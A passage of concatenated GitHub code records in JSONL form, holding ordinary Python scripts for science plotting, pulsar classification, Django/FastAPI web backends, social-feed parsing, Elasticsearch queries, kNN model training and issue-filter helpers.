int(lines[3].split(':')[1].strip())\n bilayer_count = int(lines[4].split(':')[1].strip())\n multilayer_count = int(lines[5].split(':')[1].strip())\n\n# create bar chart of graphene layer counts\nlayer_counts = [monolayer_count, bilayer_count, multilayer_count]\nlayers = ['Monolayer', 'Bilayer', 'Multilayer']\nplt.bar(layers, layer_counts)\nplt.title('Graphene Layer Counts')\nplt.xlabel('Layer Type')\nplt.ylabel('Count')\nplt.show()\n\n# create scatter plot of graphene distribution\ndata = np.genfromtxt('output.txt', delimiter='\\t', skip_header=6)\nx = data[:, 0]\ny = data[:, 1]\nplt.scatter(x, y)\nplt.title('Graphene Distribution')\nplt.xlabel('X')\nplt.ylabel('Y')\nplt.show()\n\n\n\n\n\n\n","repo_name":"StephToo/PHSX815_Project4","sub_path":"project4codeOUTPUT.py","file_name":"project4codeOUTPUT.py","file_ext":"py","file_size_in_byte":1167,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"32185339672","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # Classifying Pulsars from the High Time Resolution Universe Survey (HTRU2) - Logistic Regression\n\n# ## Overview & Citation\n\n# In this code notebook, we attempt to classify pulsars from the High Time Resolution Universe Survey, South (HTRU2) dataset using logistic regression. The dataset was retrieved from the UC Irvine Machine Learning Repository at the following link: https://archive.ics.uci.edu/ml/datasets/HTRU2#.\n# \n# The dataset was donated to the UCI Repository by Dr. Robert Lyon of The University of Manchester, United Kingdom. The two papers requested for citation in the description are listed below:\n# \n# * R. J. Lyon, B. W. Stappers, S. Cooper, J. M. Brooke, J. D. Knowles, Fifty Years of Pulsar Candidate Selection: From simple filters to a new principled real-time classification approach, Monthly Notices of the Royal Astronomical Society 459 (1), 1104-1123, DOI: 10.1093/mnras/stw656\n# * R. J. Lyon, HTRU2, DOI: 10.6084/m9.figshare.3080389.v1.\n\n# ## Import the Relevant Libraries\n\n# In[34]:\n\n\n# Data Manipulation\nimport pandas as pd\nimport numpy as np\n\n# Modeling & Evaluation\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import confusion_matrix,classification_report\n\n\n# ## Import & Check the Data\n\n# In[3]:\n\n\ndf = pd.read_csv('2020_1125_Pulsar_Data.csv')\npulsar_data = df.copy()\n\n\n# In[4]:\n\n\npulsar_data.head()\n\n\n# ## Train Test Split\n\n# In[6]:\n\n\nX = pulsar_data.drop('Class',axis=1)\ny = pulsar_data['Class']\n\n\n# In[7]:\n\n\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.25, random_state=42)\n\n\n# In[10]:\n\n\nlogmodel = LogisticRegression(max_iter=200) # Max iterations = 200 since default 100 does not work\nlogmodel.fit(X_train,y_train)\n\n\n# In[12]:\n\n\ny_pred = logmodel.predict(X_test)\n\n\n# ## Model Evaluation\n\n# In[29]:\n\n\nconfusion = confusion_matrix(y_test,y_pred)\nprint(f'CONFUSION MATRIX:\\n\\n{confusion[0][0]}\\t{confusion[0][1]}\\n{confusion[1][0]}\\t{confusion[1][1]}')\n\n\n# In[28]:\n\n\nprint(f'CLASSIFICATION REPORT:\\n\\n{classification_report(y_test,y_pred)}')\n\n\n# The dataset contains a total of 1,639 actual pulsars out of 16,259 instances in the dataset (approximately 10%). This means that we have an unbalanced classification problem, and accuracy is not a good metric. Therefore, the most important metrics for predicting a pulsar with this model are:\n# * Precision = 0.94\n# * Recall = 0.81\n# * F1-Score = 0.87\n# \n# Let's save this data to a .csv file for future comparison with the other classification models:\n\n# In[33]:\n\n\nwith open(\"2020_1125_Logistic_Results.csv\",\"w\") as file:\n file.write('Model,Accuracy,Precision,Recall,F1-Score\\n')\n file.write('Logistic,0.98,0.94,0.81,0.87\\n')\n\n","repo_name":"ericdhitchens/Classifying_Pulsars_from_HTRU2","sub_path":"02_Python_Code/02_Modeling/01_Multiple_Logistic_Regression/2020_1125_Logistic_Regression.py","file_name":"2020_1125_Logistic_Regression.py","file_ext":"py","file_size_in_byte":2762,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"73706058330","text":"import base64\n\nfrom rest_framework import authentication\nfrom rest_framework import exceptions, HTTP_HEADER_ENCODING\n\nfrom models import Account, ApiKey\n\nclass TokenAuthentication(authentication.BaseAuthentication):\n\n def authenticate(self, request):\n\n token_from_get = request.GET.get('token', None)\n token_from_headers = self._token_from_request_headers(request)\n\n if token_from_get:\n token = token_from_get\n elif token_from_headers:\n token = token_from_headers\n else:\n msg = \"You must provide an API token to use this server. \" \\\n \"You can add `?token=API_TOKEN` at the end of the URL, or use a basic HTTP authentication where user=API_TOKEN with an empty password. \" \\\n \"Please check your emails for your API token.\"\n raise exceptions.AuthenticationFailed(msg)\n\n # Grab the API key model, make sure it exists\n try:\n api_key = ApiKey.objects.get(key=token)\n except ApiKey.DoesNotExist:\n raise exceptions.AuthenticationFailed(\"This API token doesn't exist\")\n\n return (api_key.account, None)\n\n\n def _token_from_request_headers(self, request):\n auth = authentication.get_authorization_header(request).split()\n\n if not auth or auth[0].lower() != b'basic':\n return None\n\n if len(auth) == 1:\n msg = _('Invalid basic header. No credentials provided.')\n raise exceptions.AuthenticationFailed(msg)\n elif len(auth) > 2:\n msg = _('Invalid basic header. Credentials string should not contain spaces.')\n raise exceptions.AuthenticationFailed(msg)\n\n try:\n auth_parts = base64.b64decode(auth[1]).decode(HTTP_HEADER_ENCODING).partition(':')\n except (TypeError, UnicodeDecodeError):\n msg = _('Invalid basic header. Credentials not correctly base64 encoded.')\n raise exceptions.AuthenticationFailed(msg)\n\n return auth_parts[0]\n","repo_name":"ldiqual/buildnumber.io","sub_path":"api/auth.py","file_name":"auth.py","file_ext":"py","file_size_in_byte":2014,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"32"} +{"seq_id":"22416771455","text":"# a data request - to see all downtown trips departure between 6am and 9am. \n# model run: 2040 constrained \n# departuren time: 360 - 540\n# downtown area: downtown TAZ \nimport pandas as pd \nimport numpy as np \nimport os \nyear = '2040'\n\nif year == '2040':\n model_path = r'\\\\license\\Model Archive\\T2040\\soundcast_2040_constrained'\nif year == '2014':\n model_path = r'\\\\license\\Model Archive\\T2040\\soundcast_2014'\n\ntrip = pd.read_csv(os.path.join(model_path,r'outputs/daysim/') + r'_trip.tsv', sep='\\t')\n\ntrip_am = trip[(trip['deptm']>= 360) & (trip['deptm'] < 540)]\n\ndowntown_path = r'T:\\2018September\\Angela\\Downtown'\nzone_dt = pd.read_csv(os.path.join(downtown_path, r'city_center_zones.csv'))\ntrip_am_dt = pd.merge(zone_dt, trip_am, left_on='TAZ_abs', right_on='dtaz', how='left')\ntrip_am_dt.to_csv(os.path.join(downtown_path, year+'_trip_6_9_downtown.csv'))\n","repo_name":"AngelaQYang/data_request","sub_path":"downtown_AMpeak_trips.py","file_name":"downtown_AMpeak_trips.py","file_ext":"py","file_size_in_byte":864,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"74547496410","text":"from elasticsearch import Elasticsearch\nfrom colorama import init, Fore, Back, Style\nimport argparse\n\ndef getParser():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-query\", default='2차 세계대전', type=str)\n parser.add_argument(\"-searchsize\", default=5, type=int)\n\n return parser\n\ndef main():\n args = getParser().parse_args()\n init(autoreset=True)\n\n es = Elasticsearch(\"http://127.0.0.1:9200/\")\n es.info()\n\n query = args.query\n print(f'{Back.RED + Fore.WHITE}Query: {query}')\n\n index_name = 'texts'\n results = es.search(index=index_name, body={'from':0, 'size':args.searchsize, 'query':{'match':{'text': query}}})\n\n for i, result in enumerate(results['hits']['hits']):\n id = result['_source']['id']\n score = result['_score']\n text = result['_source']['text']\n\n print(f'{Back.GREEN + Fore.WHITE}Similarity Rank {i+1} | Document id ({id}) | Score: {score}')\n print(f'Text: \\n{text}')\n print('-----------------------------------------------------------')\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"fhqlatm/ElasticsearchMRC","sub_path":"2_test_query.py","file_name":"2_test_query.py","file_ext":"py","file_size_in_byte":1088,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"4653646887","text":"# coding: utf-8\n\"\"\"\nThis will add the executable to your PATH so it will be found.\nThe filename of the binary is stored in `chromedriver_filename`.\n\"\"\"\n\nimport os\nfrom . import utils\n\n\ndef add_chromedriver_to_path():\n \"\"\"\n Appends the directory of the chromedriver binary file to PATH.\n \"\"\"\n chromedriver_dir = os.path.abspath(os.path.dirname(__file__))\n if 'PATH' not in os.environ:\n os.environ['PATH'] = chromedriver_dir\n elif chromedriver_dir not in os.environ['PATH']:\n os.environ['PATH'] = chromedriver_dir + utils.get_variable_separator() + os.environ['PATH']\n\n\nchromedriver_filename = os.path.join(os.path.abspath(os.path.dirname(__file__)), utils.get_chromedriver_filename())\nadd_chromedriver_to_path()\n","repo_name":"danielkaiser/python-chromedriver-binary","sub_path":"chromedriver_binary/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":743,"program_lang":"python","lang":"en","doc_type":"code","stars":112,"dataset":"github-code","pt":"32"} +{"seq_id":"24747898475","text":"# Standard libraries\nimport hashlib\nimport dateutil.parser\nimport datetime\nimport logging\nimport re\n\nlogger = logging.getLogger(__name__)\n\n\ndef build_hash(link: str) -> str:\n sha256_hash = hashlib.sha256(link.encode())\n return sha256_hash.hexdigest()\n\n\ndef convert_date_string_for_mysql(rss_date: str) -> str:\n try:\n date_object = dateutil.parser.parse(rss_date)\n date_created = datetime.datetime.strftime(date_object, '%Y-%m-%d %H:%M:%S')\n except dateutil.parser.ParserError as e:\n # We couldn't parse the date for some reason. Make it \"now\"\n logger.error(f'Could not parse date. Error:\\n{e}')\n date_created = datetime.datetime.strftime(datetime.datetime.now(), '%Y-%m-%d %H:%M:%S')\n return date_created\n\n\ndef convert_epoch_to_mysql(epoch: float) -> str:\n date_object = datetime.datetime.utcfromtimestamp(int(epoch))\n return datetime.datetime.strftime(date_object, '%Y-%m-%d %H:%M:%S')\n\n\ndef convert_date_twitter_to_mysql(twitter_date):\n return datetime.datetime.strftime(twitter_date, '%Y-%m-%d %H:%M:%S')\n\n\nclass Post:\n def __init__(self):\n self.source = ''\n self.author = ''\n self.description = ''\n self.direct_link = ''\n self.date_created = ''\n self.urls = dict()\n self.urls_not_parsed = 0\n self.unique_id_string = ''\n\n def _get_url_list(self):\n return [url for url in self.urls.values()]\n\n def _generate_unique_url_string(self):\n temp = list()\n for url in sorted(self._get_url_list()):\n if url != '':\n temp.append(url)\n self.unique_id_string = build_hash(','.join(temp))\n\n @property\n def post_has_urls(self):\n return any(self._get_url_list())\n\n def get_db_friendly_list(self):\n return [self.source, self.author, self.description, self.direct_link, self.date_created, self.unique_id_string,\n self.urls.get(0), self.urls.get(1, ''), self.urls.get(2, ''), self.urls.get(3, ''),\n self.urls.get(4, ''), self.urls.get(5, ''), self.urls_not_parsed]\n\n\nclass RssPost(Post):\n def __init__(self, feed_source, feed_author, post):\n super().__init__()\n self.extract_data_from_post(feed_source, feed_author, post)\n\n def extract_data_from_post(self, feed_source, feed_author, post):\n self.source = feed_source\n self.author = feed_author\n self.description = post.title\n self.direct_link = None\n self.urls[0] = post.link\n\n if 'published' in post:\n self.date_created = convert_date_string_for_mysql(post.published)\n elif 'updated' in post:\n self.date_created = convert_date_string_for_mysql(post.updated)\n else:\n self.date_created = datetime.datetime.strftime(datetime.datetime.now(), '%Y-%m-%d %H:%M:%S')\n\n self._generate_unique_url_string()\n\n\nclass RedditPost(Post):\n def __init__(self, post):\n super().__init__()\n self.extract_data_from_post(post)\n self._extract_urls(post)\n self._generate_unique_url_string()\n\n def extract_data_from_post(self, post):\n self.source = f'https://www.reddit.com/{post[\"data\"][\"subreddit_name_prefixed\"]}'\n self.author = post['data']['author']\n self.description = post['data']['title']\n self.direct_link = f'https://www.reddit.com{post[\"data\"][\"permalink\"]}'\n self.date_created = convert_epoch_to_mysql(post['data']['created_utc'])\n\n def _extract_urls(self, post):\n if post['data'].get('url', False):\n url = post['data']['url']\n if not url.startswith('https://www.reddit.com/') and url != '':\n self.urls[0] = url\n\n\nclass TwitterPost(Post):\n def __init__(self, post):\n super().__init__()\n self.twitter_url = 'https://twitter.com/'\n self.source = f'{self.twitter_url}{post.user.screen_name}'\n self.tweet_id = post.id\n if hasattr(post, 'retweeted_status'):\n self.extract_data_from_post(post.retweeted_status)\n elif hasattr(post, 'quoted_status'):\n self.extract_data_from_post(post.quoted_status)\n else:\n self.extract_data_from_post(post)\n\n self._generate_unique_url_string()\n\n def extract_data_from_post(self, status):\n self.author = status.user.name\n self.description = re.sub(r\"http(s)?://t\\.co/[a-z0-9A-Z]+\", '', status.full_text)\n self.direct_link = f'{self.twitter_url}{status.user.screen_name}/status/{status.id_str}'\n self._extract_urls(status)\n self.date_created = convert_date_twitter_to_mysql(status.created_at)\n\n def _extract_urls(self, status):\n for i, url in enumerate(status.entities['urls']):\n self.urls[i] = url['expanded_url']\n","repo_name":"poptart-sommelier/fetchlinks","sub_path":"fetchlinks/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4774,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"15423037584","text":"from typing import List\nfrom fastapi import APIRouter, Body, Depends, HTTPException\nfrom starlette.status import HTTP_201_CREATED, HTTP_404_NOT_FOUND\n\nfrom app.models.users import UserCreate, UserPublic\nfrom app.db.repositories.users import UsersRepository\nfrom app.api.dependencies.database import get_repository\n\nrouter = APIRouter()\n\n\n@router.get(\"\")\nasync def get_all_users() -> List[dict]:\n users = [\n {\"id\": 1, \"name\": \"hansol\"},\n {\"id\": 2, \"name\": \"dudu\"}\n ]\n return users\n\n\n@router.get(\"/{id}/\", response_model=UserPublic, name=\"users:get-user-by-id\")\nasync def get_user_by_id(\n id: int, users_repo: UsersRepository = Depends(get_repository(UsersRepository))\n) -> UserPublic:\n user = await users_repo.get_user_by_id(id=id)\n\n if not user:\n raise HTTPException(status_code=HTTP_404_NOT_FOUND, detail=\"No user found with that id.\")\n\n return user\n\n\n\n@router.post(\"/\", response_model=UserPublic, name=\"user:create-user\", status_code=HTTP_201_CREATED)\nasync def create_new_user(\n new_user: UserCreate = Body(..., embed=True),\n user_repo: UsersRepository = Depends(get_repository(UsersRepository)),\n) -> UserPublic:\n created_user = await user_repo.create_user(new_user=new_user)\n return created_user","repo_name":"wingon1/fastapi-docker-starter","sub_path":"backend/app/api/routes/users.py","file_name":"users.py","file_ext":"py","file_size_in_byte":1252,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"24554794127","text":"import os\nimport sys\nimport logging\nfrom datetime import datetime\nimport pandas as pd\nimport numpy as np\nimport h5py\n\nfrom absl import app\nfrom absl import flags\n\nDELQSAR_ROOT = os.path.abspath(__file__ + '/../../')\nsys.path += [os.path.dirname(DELQSAR_ROOT)]\n\nRESULTS_FILE = os.path.join(DELQSAR_ROOT, 'experiments', 'all_results.csv')\n\nfrom del_qsar import featurizers, splitters, models\n\nFLAGS = flags.FLAGS\nflags.DEFINE_string('csv', 'DD1S_CAIX_QSAR.csv', 'csv filename')\nflags.DEFINE_string('fps_h5', 'x_DD1S_CAIX_2048_bits_all_fps.h5', 'HDF5 file with stored fingerprints')\nflags.DEFINE_string('exp', 'exp_tot', 'Column header for data counts: experiment')\nflags.DEFINE_string('beads', 'beads_tot', 'Column header for data counts: beads')\nflags.DEFINE_enum('featurizer', 'fingerprint', ['fingerprint', 'onehot'], 'How molecules are featurized')\nflags.DEFINE_integer('n_neighbors', 9, 'Number of neighbors')\nflags.DEFINE_string('out', None, 'Experiment label (subfolder)')\n\nif not os.path.isdir(os.path.join(DELQSAR_ROOT, 'experiments', 'results')):\n os.mkdir(os.path.join(DELQSAR_ROOT, 'experiments', 'results'))\n \ndt = datetime.today()\nDATE = os.path.join(DELQSAR_ROOT, 'experiments', 'results', \n f'{dt.year}-{str(dt.month).zfill(2)}-{str(dt.day).zfill(2)}')\nif not os.path.isdir(DATE):\n os.mkdir(DATE)\n\ndef main(argv):\n del argv\n \n SAVE_ROOT = os.path.join(DATE, FLAGS.out)\n if not os.path.isdir(SAVE_ROOT):\n os.mkdir(SAVE_ROOT)\n \n LOG_FILE = os.path.join(SAVE_ROOT, 'run.log')\n \n logging.basicConfig(\n level=logging.DEBUG,\n format='%(asctime)s %(levelname)s: %(message)s',\n handlers=[\n logging.StreamHandler(sys.stdout),\n ]\n )\n with open(LOG_FILE, 'a') as lf:\n logging.info('FLAGS:')\n lf.write(f'{datetime.now()} INFO: FLAGS:\\n')\n for f in FLAGS.get_key_flags_for_module(sys.argv[0]):\n logging.info(f.serialize())\n lf.write(f'{datetime.now()} INFO: ' + f.serialize() + '\\n')\n\n # Get data\n df_data = pd.read_csv(os.path.join(DELQSAR_ROOT, 'experiments', 'datasets', FLAGS.csv))\n if 'triazine' in FLAGS.csv:\n for col in df_data.columns:\n if ' ' in col:\n df_data = df_data.rename(columns={col: col.replace(' ', '_')})\n \n # Extract counts\n exp_counts = np.array(df_data[[FLAGS.exp]], dtype='int')\n bead_counts = np.array(df_data[[FLAGS.beads]], dtype='int')\n logging.info(f'{len(df_data)} total compounds')\n with open(LOG_FILE, 'a') as lf:\n lf.write(f'{datetime.now()} INFO: {len(df_data)} total compounds\\n')\n\n # Featurizer\n if FLAGS.featurizer == 'fingerprint':\n featurizer = featurizers.FingerprintFeaturizer()\n if os.path.isfile(os.path.join(DELQSAR_ROOT, 'experiments', FLAGS.fps_h5)):\n hf = h5py.File(os.path.join(DELQSAR_ROOT, 'experiments', FLAGS.fps_h5))\n x = np.array(hf['all_fps'])\n hf.close()\n logging.warning(f'Loaded fingerprints from {FLAGS.fps_h5}')\n with open(LOG_FILE, 'a') as lf:\n lf.write(f'{datetime.now()} WARNING: Loaded fingerprints from {FLAGS.fps_h5}\\n')\n else:\n logging.info('Generating fingerprints')\n with open(LOG_FILE, 'a') as lf:\n lf.write(f'{datetime.now()} INFO: Generating fingerprints\\n')\n x = featurizer.prepare_x(df_data)\n \n elif FLAGS.featurizer == 'onehot':\n featurizer = featurizers.OneHotFeaturizer(df_data)\n x = featurizer.prepare_x(df_data)\n \n elif FLAGS.featurizer == 'graph':\n raise ValueError('Graph featurization not supported for kNN baseline')\n \n else:\n raise ValueError('Unknown featurizer')\n \n splitter_names = [\n 'random',\n 'cycle1',\n 'cycle2',\n 'cycle3',\n 'cycle12',\n 'cycle13',\n 'cycle23',\n 'cycle123',\n ] \n _splitters = [\n splitters.RandomSplitter(),\n splitters.OneCycleSplitter(['cycle1'], LOG_FILE),\n splitters.OneCycleSplitter(['cycle2'], LOG_FILE),\n splitters.OneCycleSplitter(['cycle3'], LOG_FILE),\n splitters.TwoCycleSplitter(['cycle1','cycle2'], LOG_FILE),\n splitters.TwoCycleSplitter(['cycle1','cycle3'], LOG_FILE),\n splitters.TwoCycleSplitter(['cycle2','cycle3'], LOG_FILE),\n splitters.ThreeCycleSplitter(['cycle1','cycle2','cycle3'], LOG_FILE),\n ]\n \n for i in range(len(_splitters)):\n logging.info(f'{splitter_names[i]} split')\n with open(LOG_FILE, 'a') as lf:\n lf.write(f'\\n{datetime.now()} INFO: {splitter_names[i]} split\\n\\n')\n \n for seed in range(5):\n logging.info(f'\\nSeed {seed}')\n with open(LOG_FILE, 'a') as lf:\n lf.write(f'{datetime.now()} INFO: Seed {seed}\\n')\n train_slice, valid_slice, test_slice = _splitters[i](x, df_data, seed=seed)\n \n true_labels_R = None\n model = models.kNN(task_type='regression', n_neighbors=FLAGS.n_neighbors)\n \n try:\n model.train_on_del(x, exp_counts, bead_counts, train_slice, valid_slice, \n true_labels=true_labels_R, save_path=os.path.join(SAVE_ROOT, f'{splitter_names[i]}_seed_{seed}'))\n except KeyboardInterrupt:\n logging.warning('Training interrupted by KeyboardInterrupt!')\n with open(LOG_FILE, 'a') as lf:\n lf.write(f'{datetime.now()} WARNING: Training interrupted by KeyboardInterrupt!\\n')\n \nif __name__ == '__main__':\n app.run(main)\n logging.shutdown()\n","repo_name":"coleygroup/del_qsar","sub_path":"experiments/knn_train_DD1S_CAIX.py","file_name":"knn_train_DD1S_CAIX.py","file_ext":"py","file_size_in_byte":5750,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"32"} +{"seq_id":"43579563579","text":"from django.utils.timezone import make_aware\nfrom django.utils.dateparse import parse_datetime\n\n\ndef filter_state(params, filter, method):\n if method == \"GET\":\n states = params.get(\"state\").split(\",\")\n if len(states) and \"\" not in states:\n filter[\"state__in\"] = states\n else:\n if params.get(\"state\", None) and len(params.get(\"state\")):\n filter[\"state__in\"] = params.get(\"state\")\n return filter\n\n\ndef filter_state_group(params, filter, method):\n if method == \"GET\":\n state_group = params.get(\"state_group\").split(\",\")\n if len(state_group) and \"\" not in state_group:\n filter[\"state__group__in\"] = state_group\n else:\n if params.get(\"state_group\", None) and len(params.get(\"state_group\")):\n filter[\"state__group__in\"] = params.get(\"state_group\")\n return filter\n\n\ndef filter_estimate_point(params, filter, method):\n if method == \"GET\":\n estimate_points = params.get(\"estimate_point\").split(\",\")\n if len(estimate_points) and \"\" not in estimate_points:\n filter[\"estimate_point__in\"] = estimate_points\n else:\n if params.get(\"estimate_point\", None) and len(params.get(\"estimate_point\")):\n filter[\"estimate_point__in\"] = params.get(\"estimate_point\")\n return filter\n\n\ndef filter_priority(params, filter, method):\n if method == \"GET\":\n priorities = params.get(\"priority\").split(\",\")\n if len(priorities) and \"\" not in priorities:\n filter[\"priority__in\"] = priorities\n return filter\n\n\ndef filter_parent(params, filter, method):\n if method == \"GET\":\n parents = params.get(\"parent\").split(\",\")\n if len(parents) and \"\" not in parents:\n filter[\"parent__in\"] = parents\n else:\n if params.get(\"parent\", None) and len(params.get(\"parent\")):\n filter[\"parent__in\"] = params.get(\"parent\")\n return filter\n\n\ndef filter_labels(params, filter, method):\n if method == \"GET\":\n labels = params.get(\"labels\").split(\",\")\n if len(labels) and \"\" not in labels:\n filter[\"labels__in\"] = labels\n else:\n if params.get(\"labels\", None) and len(params.get(\"labels\")):\n filter[\"labels__in\"] = params.get(\"labels\")\n return filter\n\n\ndef filter_assignees(params, filter, method):\n if method == \"GET\":\n assignees = params.get(\"assignees\").split(\",\")\n if len(assignees) and \"\" not in assignees:\n filter[\"assignees__in\"] = assignees\n else:\n if params.get(\"assignees\", None) and len(params.get(\"assignees\")):\n filter[\"assignees__in\"] = params.get(\"assignees\")\n return filter\n\n\ndef filter_created_by(params, filter, method):\n if method == \"GET\":\n created_bys = params.get(\"created_by\").split(\",\")\n if len(created_bys) and \"\" not in created_bys:\n filter[\"created_by__in\"] = created_bys\n else:\n if params.get(\"created_by\", None) and len(params.get(\"created_by\")):\n filter[\"created_by__in\"] = params.get(\"created_by\")\n return filter\n\n\ndef filter_name(params, filter, method):\n if params.get(\"name\", \"\") != \"\":\n filter[\"name__icontains\"] = params.get(\"name\")\n return filter\n\n\ndef filter_created_at(params, filter, method):\n if method == \"GET\":\n created_ats = params.get(\"created_at\").split(\",\")\n if len(created_ats) and \"\" not in created_ats:\n for query in created_ats:\n created_at_query = query.split(\";\")\n if len(created_at_query) == 2 and \"after\" in created_at_query:\n filter[\"created_at__date__gte\"] = created_at_query[0]\n else:\n filter[\"created_at__date__lte\"] = created_at_query[0]\n else:\n if params.get(\"created_at\", None) and len(params.get(\"created_at\")):\n for query in params.get(\"created_at\"):\n created_at_query = query.split(\";\")\n if len(created_at_query) == 2 and \"after\" in created_at_query:\n filter[\"created_at__date__gte\"] = created_at_query[0]\n else:\n filter[\"created_at__date__lte\"] = created_at_query[0]\n return filter\n\n\ndef filter_updated_at(params, filter, method):\n if method == \"GET\":\n updated_ats = params.get(\"updated_at\").split(\",\")\n if len(updated_ats) and \"\" not in updated_ats:\n for query in updated_ats:\n updated_at_query = query.split(\";\")\n if len(updated_at_query) == 2 and \"after\" in updated_at_query:\n filter[\"updated_at__date__gte\"] = updated_at_query[0]\n else:\n filter[\"updated_at__date__lte\"] = updated_at_query[0]\n else:\n if params.get(\"updated_at\", None) and len(params.get(\"updated_at\")):\n for query in params.get(\"updated_at\"):\n updated_at_query = query.split(\";\")\n if len(updated_at_query) == 2 and \"after\" in updated_at_query:\n filter[\"updated_at__date__gte\"] = updated_at_query[0]\n else:\n filter[\"updated_at__date__lte\"] = updated_at_query[0]\n return filter\n\n\ndef filter_start_date(params, filter, method):\n if method == \"GET\":\n start_dates = params.get(\"start_date\").split(\",\")\n if len(start_dates) and \"\" not in start_dates:\n for query in start_dates:\n start_date_query = query.split(\";\")\n if len(start_date_query) == 2 and \"after\" in start_date_query:\n filter[\"start_date__gte\"] = start_date_query[0]\n else:\n filter[\"start_date__lte\"] = start_date_query[0]\n else:\n if params.get(\"start_date\", None) and len(params.get(\"start_date\")):\n for query in params.get(\"start_date\"):\n start_date_query = query.split(\";\")\n if len(start_date_query) == 2 and \"after\" in start_date_query:\n filter[\"start_date__gte\"] = start_date_query[0]\n else:\n filter[\"start_date__lte\"] = start_date_query[0]\n return filter\n\n\ndef filter_target_date(params, filter, method):\n if method == \"GET\":\n target_dates = params.get(\"target_date\").split(\",\")\n if len(target_dates) and \"\" not in target_dates:\n for query in target_dates:\n target_date_query = query.split(\";\")\n if len(target_date_query) == 2 and \"after\" in target_date_query:\n filter[\"target_date__gt\"] = target_date_query[0]\n else:\n filter[\"target_date__lt\"] = target_date_query[0]\n else:\n if params.get(\"target_date\", None) and len(params.get(\"target_date\")):\n for query in params.get(\"target_date\"):\n target_date_query = query.split(\";\")\n if len(target_date_query) == 2 and \"after\" in target_date_query:\n filter[\"target_date__gt\"] = target_date_query[0]\n else:\n filter[\"target_date__lt\"] = target_date_query[0]\n\n return filter\n\n\ndef filter_completed_at(params, filter, method):\n if method == \"GET\":\n completed_ats = params.get(\"completed_at\").split(\",\")\n if len(completed_ats) and \"\" not in completed_ats:\n for query in completed_ats:\n completed_at_query = query.split(\";\")\n if len(completed_at_query) == 2 and \"after\" in completed_at_query:\n filter[\"completed_at__date__gte\"] = completed_at_query[0]\n else:\n filter[\"completed_at__lte\"] = completed_at_query[0]\n else:\n if params.get(\"completed_at\", None) and len(params.get(\"completed_at\")):\n for query in params.get(\"completed_at\"):\n completed_at_query = query.split(\";\")\n if len(completed_at_query) == 2 and \"after\" in completed_at_query:\n filter[\"completed_at__date__gte\"] = completed_at_query[0]\n else:\n filter[\"completed_at__lte\"] = completed_at_query[0]\n return filter\n\n\ndef filter_issue_state_type(params, filter, method):\n type = params.get(\"type\", \"all\")\n group = [\"backlog\", \"unstarted\", \"started\", \"completed\", \"cancelled\"]\n if type == \"backlog\":\n group = [\"backlog\"]\n if type == \"active\":\n group = [\"unstarted\", \"started\"]\n\n filter[\"state__group__in\"] = group\n return filter\n\n\ndef filter_project(params, filter, method):\n if method == \"GET\":\n projects = params.get(\"project\").split(\",\")\n if len(projects) and \"\" not in projects:\n filter[\"project__in\"] = projects\n else:\n if params.get(\"project\", None) and len(params.get(\"project\")):\n filter[\"project__in\"] = params.get(\"project\")\n return filter\n\n\ndef filter_cycle(params, filter, method):\n if method == \"GET\":\n cycles = params.get(\"cycle\").split(\",\")\n if len(cycles) and \"\" not in cycles:\n filter[\"issue_cycle__cycle_id__in\"] = cycles\n else:\n if params.get(\"cycle\", None) and len(params.get(\"cycle\")):\n filter[\"issue_cycle__cycle_id__in\"] = params.get(\"cycle\")\n return filter\n\n\ndef filter_module(params, filter, method):\n if method == \"GET\":\n modules = params.get(\"module\").split(\",\")\n if len(modules) and \"\" not in modules:\n filter[\"issue_module__module_id__in\"] = modules\n else:\n if params.get(\"module\", None) and len(params.get(\"module\")):\n filter[\"issue_module__module_id__in\"] = params.get(\"module\")\n return filter\n\n\ndef filter_inbox_status(params, filter, method):\n if method == \"GET\":\n status = params.get(\"inbox_status\").split(\",\")\n if len(status) and \"\" not in status:\n filter[\"issue_inbox__status__in\"] = status\n else:\n if params.get(\"inbox_status\", None) and len(params.get(\"inbox_status\")):\n filter[\"issue_inbox__status__in\"] = params.get(\"inbox_status\")\n return filter\n\n\ndef filter_sub_issue_toggle(params, filter, method):\n if method == \"GET\":\n sub_issue = params.get(\"sub_issue\", \"false\")\n if sub_issue == \"false\":\n filter[\"parent__isnull\"] = True\n else:\n sub_issue = params.get(\"sub_issue\", \"false\")\n if sub_issue == \"false\":\n filter[\"parent__isnull\"] = True\n return filter\n\n\ndef filter_subscribed_issues(params, filter, method):\n if method == \"GET\":\n subscribers = params.get(\"subscriber\").split(\",\")\n if len(subscribers) and \"\" not in subscribers:\n filter[\"issue_subscribers__subscriber_id__in\"] = subscribers\n else:\n if params.get(\"subscriber\", None) and len(params.get(\"subscriber\")):\n filter[\"issue_subscribers__subscriber_id__in\"] = params.get(\"subscriber\")\n return filter\n\n\ndef filter_start_target_date_issues(params, filter, method):\n start_target_date = params.get(\"start_target_date\", \"false\")\n if start_target_date == \"true\":\n filter[\"target_date__isnull\"] = False\n filter[\"start_date__isnull\"] = False\n return filter\n\n\ndef issue_filters(query_params, method):\n filter = dict()\n\n ISSUE_FILTER = {\n \"state\": filter_state,\n \"state_group\": filter_state_group,\n \"estimate_point\": filter_estimate_point,\n \"priority\": filter_priority,\n \"parent\": filter_parent,\n \"labels\": filter_labels,\n \"assignees\": filter_assignees,\n \"created_by\": filter_created_by,\n \"name\": filter_name,\n \"created_at\": filter_created_at,\n \"updated_at\": filter_updated_at,\n \"start_date\": filter_start_date,\n \"target_date\": 